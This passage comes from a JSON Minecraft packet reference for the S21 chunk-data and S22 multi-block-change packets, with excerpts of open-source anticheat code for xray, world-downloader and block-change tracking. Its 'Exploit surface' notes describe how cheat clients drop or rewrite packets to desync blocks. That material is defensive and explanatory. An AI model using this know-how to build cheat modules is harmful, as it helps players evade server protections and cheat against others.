HashMap<Block, Long>());\n\t\t\t}\n\t\t\tif (!ghostblocks_closecount.containsKey(p)) {\n\t\t\t\tghostblocks_closecount.put(p, new HashMap<Block, Integer>());\n\t\t\t}\n\t\t\tif (p.isSneaking()) {\n\t\t\t\tghostblocks.get(p).put(p.getLocation().getBlock().getRelative(BlockFace.DOWN),\n\t\t\t\t\t\tSystem.currentTimeMillis());\n\t\t\t}\n\n\t\t\tBlockBreakEvent e = (BlockBreakEvent) ev;\n\n\t\t\tif (e.getBlock().getType().toString().contains(\"ORE\")) {\n\t\t\t\tif (ghostblocks.get(p).containsKey(e.getBlock())) {\n\t\t\t\t\tInteger count = ghostblocks_closecount.get(p).get(e.getBlock());\n\t\t\t\t\tghostblocks.get(p).remove(e.getBlock());\n\t\t\t\t\tghostblocks_closecount.get(p).remove(e.getBlock());\n\t\t\t\t\tif (count > 4) {\n\t\t\t\t\t\treturn new CheckResult(\"XRay\", false, \"broke ghostblocks 5+ blocks ret\");\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tBlockFace opposite = getopposite(p);\n\t\t\t\t\tBlock target = e.getBlock();\n\t\t\t\t\tInteger g = 0;\n\t\t\t\t\tfor (int i = 0; i < 9; i++) {\n\t\t\t\t\t\ttarget = target.getRelative(opposite);\n\t\t\t\t\t\tif (i > 4) {\n\t\t\t\t\t\t\tif (UtilBlock.xraysafe(target, target.getType()).size() == 0) {\n\t\t\t\t\t\t\t\tg++;\n\t\t\t\t\t\t\t\tif (g == 2 && target.getLocation().getWorld().equals(p.getLocation().getWorld())) {\n\t\t\t\t\t\t\t\t\ttarget.setType(e.getBlock().getType());\n\t\t\t\t\t\t\t\t\tghostblocks.get(p).put(target, System.currentTimeMillis());\n\t\t\t\t\t\t\t\t\tghostblocks_closecount.get(p).put(target, 4);\n\t\t\t\t\t\t\t\t\tif (!ghostblocks_lastcheckloc.containsKey(p)) {\n\t\t\t\t\t\t\t\t\t\tghostblocks_lastcheckloc.put(p, new HashMap<Block, Double>());\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tghostblocks_lastcheckloc.get(p).put(target,\n\t\t\t\t\t\t\t\t\t\t\tp.getLocation().distance(target.getLocation()));\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn new CheckResult(\"XRay\", true, \"pass\");\n\t\t\t}\n\n\t\t\treturn new CheckResult(\"XRay\", true, \"pass\");\n\t\t}\n\t\treturn new CheckResult(\"XRay\", true, \"pass\");\n\t}\n\n\tpublic static BlockFace getopposite(Player player) {\n\t\tfloat yaw = player.getLocation().getYaw();\n\t\tif (yaw < 0) {\n\t\t\tyaw += 360;\n\t\t}\n\t\tif (yaw >= 315 || yaw < 45) {\n\t\t\treturn BlockFace.NORTH;\n\t\t} else if (yaw < 135) {\n\t\t\treturn BlockFace.EAST;\n\t\t} else if (yaw < 225) {\n\t\t\treturn BlockFace.SOUTH;\n\t\t} else if (yaw < 315) {\n\t\t\treturn BlockFace.WEST;\n\t\t}\n\t\treturn BlockFace.NORTH;\n\t}\n\n}\n// NOTE (AI): The check is event-based (PlayerMoveEvent and BlockBreakEvent), so the S21 hit is a domain match: the chunk data packet is what makes the buried ores visible to the cheater in the first place.",
       "code_source": "MC-Jinky-BasicAntiCheat, src/me/jinky/checks/world/XRayCheck.java",
       "variations": "AntiCheatPlus XRayListener and XRayTracker score ore ratios per player instead of ghost blocks; Negativity XRayProtocol runs a similar ore-ratio heuristic; Observer ChestESP is the render-side cousin of the same idea."
      },
      {
       "name": "XRayListener and XRayTracker (AntiCheatPlus)",
       "found_in": [
        "m1enkrafftman-AntiCheatPlus"
       ],
       "purpose": "Ore-ratio xray detection: players who mine far more ores per total blocks than the server average are flagged.",
       "how_it_works": "BlockBreakEvent feeds per-ore counters (diamond, iron, gold, lapis, redstone) and a total block counter into XRayTracker for every checked player; creative players are skipped unless checkCreativeXRay is enabled. XRayStats snapshots the counts and the scheduled XRay checker compares ratios against the server baseline at the configured alert interval.",
       "detects": "Xray users whose ore-to-block ratio is statistically above legitimate mining.",
       "detailed_code": "// ===== FILE: m1enkrafftman-AntiCheatPlus, src/main/java/net/dynamicdev/anticheat/xray/XRayListener.java =====\n/*\n * AntiCheat for Bukkit.\n * Copyright (C) 2012-2014 AntiCheat Team | http://gravitydevelopment.net\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage net.dynamicdev.anticheat.xray;\n\nimport net.dynamicdev.anticheat.AntiCheat;\nimport net.dynamicdev.anticheat.check.CheckType;\nimport net.dynamicdev.anticheat.config.Configuration;\nimport net.dynamicdev.anticheat.manage.CheckManager;\n\nimport org.bukkit.GameMode;\nimport org.bukkit.Material;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.block.BlockBreakEvent;\n\npublic class XRayListener implements Listener {\n    private XRayTracker tracker = AntiCheat.getManager().getXRayTracker();\n    private Configuration config = AntiCheat.getManager().getConfiguration();\n    private CheckManager checkManager = AntiCheat.getManager().getCheckManager();\n\n    @EventHandler\n    public void onBlockBreak(BlockBreakEvent event) {\n        if (config.getConfig().checkXRay.getValue()) {\n            Player p = event.getPlayer();\n            if (p.getGameMode() == GameMode.CREATIVE && !config.getConfig().checkCreativeXRay.getValue()) {\n                return;\n            }\n            String player = p.getName();\n            if (checkManager.willCheck(p, CheckType.XRAY)) {\n                Material m = event.getBlock().getType();\n                if (m == Material.DIAMOND_ORE) {\n                    tracker.addDiamond(player);\n                } else if (m == Material.IRON_ORE) {\n                    tracker.addIron(player);\n                } else if (m == Material.GOLD_ORE) {\n                    tracker.addGold(player);\n                } else if (m == Material.LAPIS_ORE) {\n                    tracker.addLapis(player);\n                } else if (m == Material.REDSTONE_ORE || m == Material.GLOWING_REDSTONE_ORE) {\n                    tracker.addRedstone(player);\n                } else if (m == Material.GOLD_ORE) {\n                    tracker.addGold(player);\n                } else {\n                    tracker.addBlock(player);\n                }\n                tracker.addTotal(player);\n            }\n        }\n    }\n}\n// NOTE (AI): The S21 corpus hit for this file is the XRay keyword family; the chunk data packet is what makes the ores visible to the cheater, and the check scores the resulting behavior.",
       "code_source": "m1enkrafftman-AntiCheatPlus, src/main/java/net/dynamicdev/anticheat/xray/XRayListener.java",
       "variations": "Negativity XRayProtocol uses the same ratio idea; BAC XRayCheck detects via ghost blocks instead; LightAntiCheat hooks unloaded-chunk movement (UnloadedChunkListener) to catch players walking through terrain that should not exist."
      },
      {
       "name": "PacketWorldReaderEight (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Parse the raw S21 chunk data bytes into Grim's compensated world so simulation checks see the exact blocks the client received.",
       "how_it_works": "BasePacketWorldReader dispatches the outbound chunk packets: handleMapChunk reads the chunk x/z, ground-up flag, section mask and size, decodes each 16-section column with the 1.8 endian-flipped palette reader, skips biome and light arrays, and merges the result into the compensated world cache with the transaction id. The 1.9+ and 1.18 readers are separate implementations; unloads are queued via removeChunkLater.",
       "detects": "Feeds ground, collision and phase simulation; without it, ghost-block and phase cheats would read a stale world.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/worldreader/PacketWorldReaderEight.java =====\npackage ac.grim.grimac.events.packets.worldreader;\n\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.world.chunk.impl.v1_16.Chunk_v1_9;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.DataPalette;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.ListPalette;\nimport com.github.retrooper.packetevents.protocol.world.chunk.palette.PaletteType;\nimport com.github.retrooper.packetevents.protocol.world.chunk.storage.BitStorage;\nimport com.github.retrooper.packetevents.wrapper.PacketWrapper;\nimport io.netty.buffer.ByteBuf;\n\nimport java.util.BitSet;\n\npublic class PacketWorldReaderEight extends BasePacketWorldReader {\n    @Override\n    public void handleMapChunkBulk(final GrimPlayer player, final PacketSendEvent event) {\n        PacketWrapper<?> wrapper = new PacketWrapper<>(event);\n        ByteBuf buffer = (ByteBuf) wrapper.getBuffer();\n\n        boolean skylight = wrapper.readBoolean();\n        int columns = wrapper.readVarInt();\n        int[] x = new int[columns];\n        int[] z = new int[columns];\n        int[] mask = new int[columns];\n\n        for (int column = 0; column < columns; column++) {\n            x[column] = wrapper.readInt();\n            z[column] = wrapper.readInt();\n            mask[column] = wrapper.readUnsignedShort();\n        }\n\n        for (int column = 0; column < columns; column++) {\n            BitSet bitset = BitSet.valueOf(new long[]{mask[column]});\n            Chunk_v1_9[] chunkSections = new Chunk_v1_9[16];\n            readChunk(buffer, chunkSections, bitset);\n\n            // 256 is the biome data at the end of the array\n            // 2048 is blocklight\n            // 2048 is skylight, which is determined by the first boolean sent\n            int chunks = Integer.bitCount(mask[column]);\n            buffer.readerIndex(buffer.readerIndex() + 256 + (chunks * 2048) + (skylight ? (chunks * 2048) : 0));\n\n            addChunkToCache(event, player, chunkSections, true, x[column], z[column], null);\n        }\n    }\n\n    @Override\n    public void handleMapChunk(final GrimPlayer player, final PacketSendEvent event) {\n        PacketWrapper<?> wrapper = new PacketWrapper<>(event);\n\n        final int chunkX = wrapper.readInt();\n        final int chunkZ = wrapper.readInt();\n        boolean groundUp = wrapper.readBoolean();\n\n        BitSet mask = BitSet.valueOf(new long[]{(long) wrapper.readUnsignedShort()});\n        int size = wrapper.readVarInt(); // Ignore size\n\n        final Chunk_v1_9[] chunks = new Chunk_v1_9[16];\n        this.readChunk((ByteBuf) event.getByteBuf(), chunks, mask);\n\n        this.addChunkToCache(event, player, chunks, groundUp, chunkX, chunkZ, null);\n\n        event.setLastUsedWrapper(null); // Make sure this incomplete packet isn't sent\n    }\n\n    private void readChunk(final ByteBuf buf, final Chunk_v1_9[] chunks, final BitSet set) {\n        for (int ind = 0; ind < 16; ++ind) {\n            if (set.get(ind)) {\n                chunks[ind] = readChunk(buf);\n            }\n        }\n    }\n\n    public Chunk_v1_9 readChunk(final ByteBuf in) {\n        ListPalette palette = new ListPalette(4);\n        BitStorage storage = new BitStorage(4, 4096);\n        DataPalette dataPalette = new DataPalette(palette, storage, PaletteType.CHUNK);\n\n        palette.stateToId(0); // Make sure to init chunk as air\n\n        int lastNext = -1;\n        int lastID = -1;\n        int blockCount = 0;\n\n        for (int i = 0; i < 4096; ++i) {\n            int next = in.readShort();\n\n            if (next != 0) { // If not air, doesn't need any endian flip\n                blockCount++;\n            }\n\n            // 0111 0000 0000 0000\n            // First byte of block type, followed by data, followed by second and third byte of block data\n            //\n            // This is bedrock\n            //\n            // Due to endian weirdness, it must be turned into\n            // 0000 0000 01110 0000\n            if (next != lastNext) { // If same, then couldn't have changed palette size, optimization\n                lastNext = next;\n                next = (short) (((next & 0xFF00) >> 8) | (next << 8)); // Flip endian bytes, computations are cheap compared to memory access\n                dataPalette.set(i & 15, (i >> 8) & 15, (i >> 4) & 15, next); // Allow it to resize\n                lastID = dataPalette.storage.get(i); // Get stored ID\n                continue;\n            }\n\n            dataPalette.storage.set(i, lastID);\n        }\n\n        return new Chunk_v1_9(blockCount, dataPalette);\n    }\n}\n// NOTE (AI): This is the 1.8 protocol reader; the sibling PacketWorldReaderEighteen handles 1.18 chunk sections, and the dispatch lives in BasePacketWorldReader.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/worldreader/PacketWorldReaderEight.java",
       "variations": "Hydro WorldTracker and Truthful CompensatedWorld keep the same compensated cache with chunk snapshots; Kauri World and Chunk classes store WrappedBlock arrays; Intave BlockCaches and ChunkAccessPatcher build the block cache for its physics simulator; Artemis CachedWorld does the same for its emulator."
      },
      {
       "name": "WorldDownloaderSentinel (Photon)",
       "found_in": [
        "Photon-GitHub-AntiCheatAddition"
       ],
       "purpose": "Detect WorldDownloader mods and disable their chunk caching, entity saving and container saving over the wdl plugin-message channel.",
       "how_it_works": "Registers the wdl/init and wdl/control plugin-message channels. When a client announces itself on wdl|INIT, the module answers on wdl|CONTROL with two packets that disable future functionality, general saving, chunk caching, entity and tile-entity saving and container saving per config, then runs the standard sentinel detection. Chunk data (S21 and S26) is the mod's raw material, so the module closes the hole at the channel handshake.",
       "detects": "WorldDownloader clients that would otherwise persist every chunk the server sends.",
       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/sentinel/mods/WorldDownloaderSentinel.java =====\npackage de.photon.anticheataddition.modules.sentinel.mods;\n\nimport com.google.common.io.ByteStreams;\nimport de.photon.anticheataddition.AntiCheatAddition;\nimport de.photon.anticheataddition.modules.ModuleLoader;\nimport de.photon.anticheataddition.modules.sentinel.SentinelModule;\nimport de.photon.anticheataddition.util.pluginmessage.MessageChannel;\nimport org.bukkit.entity.Player;\nimport org.bukkit.plugin.messaging.PluginMessageListener;\nimport org.jetbrains.annotations.NotNull;\n\npublic final class WorldDownloaderSentinel extends SentinelModule implements PluginMessageListener\n{\n    public static final WorldDownloaderSentinel INSTANCE = new WorldDownloaderSentinel();\n\n    private static final MessageChannel WDL_CONTROL_CHANNEL = MessageChannel.of(\"wdl\", \"control\", \"WDL|CONTROL\");\n    public static final MessageChannel WDL_INIT_CHANNEL = MessageChannel.of(\"wdl\", \"init\", \"WDL|INIT\");\n\n    private final boolean disable = loadBoolean(\".disable.general\", true);\n    private final boolean disableFuture = loadBoolean(\".disable.future\", true);\n    private final int saveRadius = loadInt(\".disable.save_radius\", 0);\n    private final boolean disableChunkCaching = loadBoolean(\".disable.chunk_caching\", true);\n    private final boolean disableEntitySaving = loadBoolean(\".disable.entity_saving\", true);\n    private final boolean disableTileEntitySaving = loadBoolean(\".disable.tile_entity_saving\", true);\n    private final boolean disableContainerSaving = loadBoolean(\".disable.container_saving\", true);\n\n    private WorldDownloaderSentinel()\n    {\n        super(\"WorldDownloader\");\n    }\n\n    @Override\n    public void onPluginMessageReceived(@NotNull final String channel, @NotNull final Player player, final byte[] message)\n    {\n        // This must not be empty as we defined our channel with both a full key and a legacy string.\n        final var sendChannel = WDL_CONTROL_CHANNEL.getChannel().orElseThrow();\n\n        /*Documentation:\n         * https://github.com/Pokechu22/WorldDownloader-Serverside-Companion/blob/master/src/main/java/wdl/WDLPackets.java\n         *\n         * and\n         *\n         * https://wiki.vg/User:Pokechu22/World_downloader\n         *\n         * The first packet specifies, whether new functions are allowed, the second what current functions are allowed.*/\n        final var packetZero = ByteStreams.newDataOutput();\n        packetZero.writeInt(0);\n        packetZero.writeBoolean(!disableFuture);\n        player.sendPluginMessage(AntiCheatAddition.getInstance(), sendChannel, packetZero.toByteArray());\n\n        final var packetOne = ByteStreams.newDataOutput();\n        packetOne.writeInt(1);\n\n        packetOne.writeBoolean(!disable);\n        packetOne.writeInt(saveRadius);\n        packetOne.writeBoolean(!disableChunkCaching);\n        packetOne.writeBoolean(!disableEntitySaving);\n        packetOne.writeBoolean(!disableTileEntitySaving);\n        packetOne.writeBoolean(!disableContainerSaving);\n        player.sendPluginMessage(AntiCheatAddition.getInstance(), sendChannel, packetOne.toByteArray());\n\n        detection(player);\n    }\n\n    @Override\n    protected ModuleLoader createModuleLoader()\n    {\n        return ModuleLoader.builder(this)\n                           .addIncomingMessageChannel(WDL_INIT_CHANNEL)\n                           .addOutgoingMessageChannel(WDL_CONTROL_CHANNEL)\n                           .build();\n    }\n}\n// NOTE (AI): The S21 and S26 corpus hits are the disableChunkCaching flags and the isChunkLoaded helpers in WorldUtil; the module itself is channel-based, not packet-based.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/sentinel/mods/WorldDownloaderSentinel.java",
       "variations": "No other anticheat in the corpus speaks the wdl channels; Negativity (WorldRegionBypass) and LightAntiCheat approximate the same protection with region bypass and unloaded-chunk checks."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x21: chunkX and chunkZ ints, groundUp bool, bitmask short, data byte array.",
    "Each set bit adds one 16x16x16 section: 8192 block bytes plus 2048 blocklight and 2048 skylight.",
    "Ground-up true appends 256 biome bytes; ground-up with bitmask 0 unloads the chunk.",
    "MCP 1.8.9 S21PacketChunkData implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleChunkData; wire serde is readPacketData/writePacketData via readBoolean, readByteArray, readInt, readShort.",
    "1.8.9 callers: EntityPlayerMP.? sends new S21PacketChunkData (line 340) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S21PacketChunkData/",
   "mcp_path": "net/minecraft/network/play/server/S21PacketChunkData.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "PlayerManager"
   ]
  },
  {
   "id": "S22PacketMultiBlockChange",
   "hex": "0x22",
   "dec": 34,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Multi Block Change",
   "desc": "Updates multiple blocks within a single chunk. More efficient than sending many S23 packets.",
   "tags": [
    "world",
    "chunk",
    "block"
   ],
   "fields": [
    {
     "name": "chunkX",
     "type": "int",
     "desc": ""
    },
    {
     "name": "chunkZ",
     "type": "int",
     "desc": ""
    },
    {
     "name": "changedBlocks",
     "type": "Short[] + VarInt[]",
     "desc": "Array of (block coordinate, new block state) pairs"
    }
   ],
   "encoding": [
    [
     "Chunk X",
     "int",
     ""
    ],
    [
     "Chunk Z",
     "int",
     ""
    ],
    [
     "Record Count",
     "VarInt",
     ""
    ],
    [
     "Per-Record",
     "(short coords, VarInt state)",
     "Block position in chunk + new block state"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleMultiBlockChange()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S22PacketMultiBlockChange batches block updates for one chunk. PlayerManager's chunk update tick collects changed positions into a short[] and sends a single packet: chunkX int, chunkZ int, record count VarInt, then per record a short crammed position and a VarInt block state id. The crammed short packs y in the low 8 bits, x in bits 12-15 and z in bits 8-11 (y | x<<12 | z<<8). It is the batched sibling of S23PacketBlockChange and the only efficient way the server pushes many block edits in one tick."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleMultiBlockChange iterates the BlockUpdateData array and calls world.func_180503_b(position, state) for each record, a no-notify setBlockState. The chunk must already be loaded; the packet never triggers a chunk load. Render updates are not batched here, so rapid multi-block streams can cost a client more in re-renders than in parsing."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 reference clients hook S22 in a module; the only non-vanilla hit is Rise 6.1.30/6.2.4 NetworkAPI registering the class (clientbound index 77). FastBreak-style sync modules (which wait for the server's block-change echo to confirm a broken block) exist in other clients but have no corpus presence here. Block-scanning features re-scan the loaded world rather than parse per-packet records, so the packet stays vanilla."
     },
     {
      "h": "Exploit surface",
      "p": "Dropping or rewriting S22 records desyncs the client's block map from the server's. Scaffold and FastBreak flows depend on the S22 echo to re-sync ghost blocks; a client that ignores it keeps stale visuals and can misplace subsequent placements. The server never validates application, so the desync is invisible in the packet stream. The crammed short encoding is the one real parsing hazard for any module that does touch this packet."
     }
    ],
    "overview": "Batched block-change delivery with no module usage in the 8 reference clients. The only non-vanilla reference is the Rise 6.x NetworkAPI script registration; block-aware features re-scan the loaded world instead.",
    "server_handling": "PlayerManager line 460 (Memeware/Nekoware/Sigma corpus) sends S22 with the tick's accumulated numBlocksToUpdate and locationOfBlockChange array to every player watching the chunk. Records carry the block state id resolved from Block.BLOCK_STATE_IDS at construction. There is no inbound handler: the packet is clientbound and the server never learns whether the client applied the changes.",
    "protocol_notes": "Record count is a VarInt; each record is a short crammed as y | x<<12 | z<<8 (x and z 4 bits each, y 8 bits) followed by a VarInt block state id. The short encoding is why records are bounded to 4096 per chunk. Arrival order within the packet is the order the server collected the edits; the client applies them sequentially with no sorting.",
    "anticheat_landscape": "No anti-cheat measures S22. Server-side block verification (NCP's 'block' checks) operates on the server's own world model and the player's dig/place packets, so client-side application of S22 is never audited. The practical detection surface is gameplay-based: a client that desyncs from S22 places ghost blocks that staff can see in replays.",
    "modules": [],
    "general_hooks": "No module in the 8 clients registers a receive handler for S22. The only non-vanilla reference is the NetworkAPI class table entry in Rise 6.1.30 and 6.2.4.",
    "client_variations": "All 8 clients keep the vanilla handler. Rise 6.x adds the NetworkAPI registration; Memeware, Nekoware, Sigma, Spicy and Tenacity differ only by vanilla source revision.",
    "related": [
     "S23PacketBlockChange",
     "S21PacketChunkData",
     "S26PacketMapChunkBulk"
    ],
    "anticheat": {
     "overview": "S22 batches up to 4096 block changes into one chunk-section update, the form the server uses for explosions, pistons and large world edits. Server-side anticheats treat it as a compensated-world mutation: the changed blocks must be applied to the replicated cache before any movement or visibility check runs, otherwise phase, scaffold and ray-trace checks would judge the player against a stale world. The corpus for S22 is the block-change pipeline (Grim CompensatedWorld, NCP BlockChangeTracker and BlockChangeListener, Hydro WorldTracker, Kauri BlockUpdateHandler, Intave MultiBlockChangeReader), all feeding the same cache that xray and phase detection query.",
     "checks": [
      {
       "name": "BlockChangeTracker and BlockChangeListener (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "Compensated block cache: record every server block change, including S22 multi-block updates, with validity intervals so movement checks can tell whether a block existed at the time the player used it.",
       "how_it_works": "BlockChangeListener registers Bukkit events (piston extend and retract, redstone, entity block change, block form, player interact) and forwards each change into BlockChangeTracker.addBlockChange with a change id, tick and direction. The tracker stores per-coordinate linked lists of BlockChangeEntry objects that expire by tick; movement checks (SurvivalFly, Passable, Visible) query getBlockChangeEntry and matchBlockChange with a BlockChangeReference to test whether the block was solid at the player's position at move time.",
       "detects": "Feeds ground and passable decisions; prevents false flags when a block was legitimately changed by an explosion or piston between the client's view and the server's world.",
       "detailed_code": "// ===== FILE: Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/compat/blocks/changetracker/BlockChangeListener.java =====\n/*\n * This program is free software: you can redistribute it and/or modify\n *   it under the terms of the GNU General Public License as published by\n *   the Free Software Foundation, either version 3 of the License, or\n *   (at your option) any later version.\n *\n *   This program is distributed in the hope that it will be useful,\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *   GNU General Public License for more details.\n *\n *   You should have received a copy of the GNU General Public License\n *   along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\npackage fr.neatmonster.nocheatplus.compat.blocks.changetracker;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.bukkit.Location;\nimport org.bukkit.Material;\nimport org.bukkit.block.Block;\nimport org.bukkit.block.BlockFace;\nimport org.bukkit.block.data.Bisected.Half;\nimport org.bukkit.block.data.BlockData;\nimport org.bukkit.event.Event.Result;\nimport org.bukkit.event.EventHandler;\nimport org.bukkit.event.EventPriority;\nimport org.bukkit.event.Listener;\nimport org.bukkit.event.block.*;\nimport org.bukkit.event.entity.EntityChangeBlockEvent;\nimport org.bukkit.event.player.PlayerInteractEvent;\nimport org.bukkit.material.Directional;\nimport org.bukkit.material.Door;\nimport org.bukkit.material.MaterialData;\n\nimport fr.neatmonster.nocheatplus.NCPAPIProvider;\nimport fr.neatmonster.nocheatplus.compat.bukkit.BridgeMaterial;\nimport fr.neatmonster.nocheatplus.compat.versions.ServerVersion;\nimport fr.neatmonster.nocheatplus.components.NoCheatPlusAPI;\nimport fr.neatmonster.nocheatplus.components.registry.order.RegistrationOrder.RegisterMethodWithOrder;\nimport fr.neatmonster.nocheatplus.event.mini.MiniListener;\nimport fr.neatmonster.nocheatplus.logging.Streams;\nimport fr.neatmonster.nocheatplus.utilities.ReflectionUtil;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockFlags;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties.ToolProps;\nimport fr.neatmonster.nocheatplus.utilities.map.BlockProperties.ToolType;\n\n\npublic class BlockChangeListener implements Listener {\n\n    // TODO: Fine grained configurability (also switch flag in MovingListener to a sub-config).\n    // TODO: Coarse player activity filter?\n    public final boolean is1_13 = ServerVersion.compareMinecraftVersion(\"1.13\") >= 0;\n    public final boolean is1_9 = ServerVersion.compareMinecraftVersion(\"1.9\") >= 0;\n\n    /** These blocks certainly can't be pushed nor pulled. */\n    public static long F_MOVABLE_IGNORE = BlockFlags.F_LIQUID;\n    /** These blocks might be pushed or pulled. */\n    public static long F_MOVABLE = BlockFlags.F_GROUND | BlockFlags.F_SOLID;\n\n    private final BlockChangeTracker tracker;\n    private final boolean retractHasBlocks;\n    private boolean enabled = true;\n\n    /** Default tag for listeners. */\n    private final String defaultTag = \"system.nocheatplus.blockchangetracker\";\n\n    /** Properties by dirt block type.*/\n    protected final Map<Material, ToolType> dirtblocks = init();\n\n    /**\n     * NOTE: Using MiniListenerWithOrder (and @Override before @EventHandler)\n     * would make the registry attempt to register with Bukkit for 'Object'.\n     */\n    private final MiniListener<?>[] miniListeners = new MiniListener<?>[] {\n        new MiniListener<BlockRedstoneEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockRedstoneEvent event) {\n                if (enabled) {\n                    onBlockRedstone(event);\n                }\n            }\n        },\n        new MiniListener<EntityChangeBlockEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(EntityChangeBlockEvent event) {\n                if (enabled) {\n                    onEntityChangeBlock(event);\n                }\n            }\n        },\n        new MiniListener<BlockPistonExtendEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockPistonExtendEvent event) {\n                if (enabled) {\n                    onPistonExtend(event);\n                }\n            }\n        },\n        new MiniListener<BlockPistonRetractEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockPistonRetractEvent event) {\n                if (enabled) {\n                    onPistonRetract(event);\n                }\n            }\n        },\n        new MiniListener<PlayerInteractEvent>() {\n            // Include cancelled events, due to the use-block part.\n            @EventHandler(ignoreCancelled = false, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(PlayerInteractEvent event) {\n                if (enabled) {\n                    onPlayerInteract(event);\n                }\n            }\n        },\n        new MiniListener<BlockFormEvent>() {\n            @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n            @RegisterMethodWithOrder(tag = defaultTag)\n            @Override\n            public void onEvent(BlockFormEvent event) {\n                if (enabled) {\n                    onBlockForm(event);\n                }\n            }\n        }\n        //        @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR)\n        //        public void onBlockPhysics (final BlockPhysicsEvent event) {\n        //            if (!enabled) {\n        //                return;\n        //            }\n        //            // TODO: Fine grained enabling state (pistons, doors, other).\n        //            final Block block = event.getBlock();\n        //            if (block == null || !physicsMaterials.contains(block.getType())) {\n        //                return;\n        //            }\n        //            // TODO: MaterialData -> Door, upper/lower half needed ?\n        //            tracker.addBlocks(block); // TODO: Skip too fast changing states?\n        //            DebugUtil.debug(\"BlockPhysics: \" + block); // TODO: REMOVE\n        //        }\n    };\n\n    public BlockChangeListener(final BlockChangeTracker tracker) {\n        this.tracker = tracker;\n        if (ReflectionUtil.getMethodNoArgs(BlockPistonRetractEvent.class, \"getBlocks\") == null) {\n            retractHasBlocks = false;\n            NCPAPIProvider.getNoCheatPlusAPI().getLogManager().info(Streams.STATUS, \"Assume legacy piston behavior.\");\n        }\n        else {\n            retractHasBlocks = true;\n        }\n    }\n\n    private Map<Material, ToolType> init() {\n        Map<Material, ToolType> blocks = new HashMap<Material, ToolType>();\n        blocks.put(BridgeMaterial.GRASS_BLOCK, ToolType.HOE);\n        blocks.put(Material.DIRT, ToolType.HOE);\n        if (is1_13) {\n            blocks.put(Material.COARSE_DIRT, ToolType.SPADE);\n            blocks.put(Material.PODZOL, ToolType.SPADE);\n        }\n        if (ServerVersion.compareMinecraftVersion(\"1.17\") >= 0) {\n            blocks.put(Material.ROOTED_DIRT, ToolType.SPADE);\n        }\n        return blocks;\n    }\n\n    /**\n     * Register actual listener(s).\n     */\n    public void register() {\n        // TODO: Replace 'if (enabled)' by actually unregistering the listeners.\n        final NoCheatPlusAPI api = NCPAPIProvider.getNoCheatPlusAPI();\n        for (final MiniListener<?> listener : miniListeners) {\n            api.addComponent(listener);\n        }\n    }\n\n    public void setEnabled(boolean enabled) {\n        this.enabled = enabled;\n    }\n\n    public boolean isEnabled() {\n        return enabled;\n    }\n\n    private BlockFace getDirection(final Block pistonBlock) {\n        // 